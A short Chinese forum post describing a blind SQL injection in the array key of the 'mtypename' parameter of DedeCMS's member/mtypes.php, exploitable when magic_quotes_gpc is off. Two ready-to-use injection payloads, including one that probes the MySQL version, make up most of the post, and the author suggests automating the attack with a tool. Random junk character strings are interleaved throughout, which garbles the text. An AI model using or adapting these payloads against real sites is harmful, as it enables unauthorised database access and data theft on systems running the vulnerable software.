需要magic_quotes_gpc = Off,所以说是鸡肋啊.
4 W W, A' I9 q0 y$ s4 D' W, O7 P& c6 f% R, \
I5 d( Y z6 Q2 D& g发生在数组key里的注射漏洞,有点意思.
! Z. T8 [/ _, i8 O8 l; `1 @ : s: R! ?$ E8 i2 f/ C' q/ ?$ K
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
9 l, a3 B. g- Q+ Q * _8 L/ @# s5 a! v# g
http://www.xxx.com /dede/member/mtypes.php?dopost=save
. M$ P9 J7 a$ z2 g
5 Q' T2 r5 } c- l* _exploit:
3 s# K o7 S- amtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r) d$ q# l( f% P5 O/ {4 b8 O
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
' j7 V+ c6 z+ M |
发表于 2012-12-20 08:08:09
收藏
支持
反对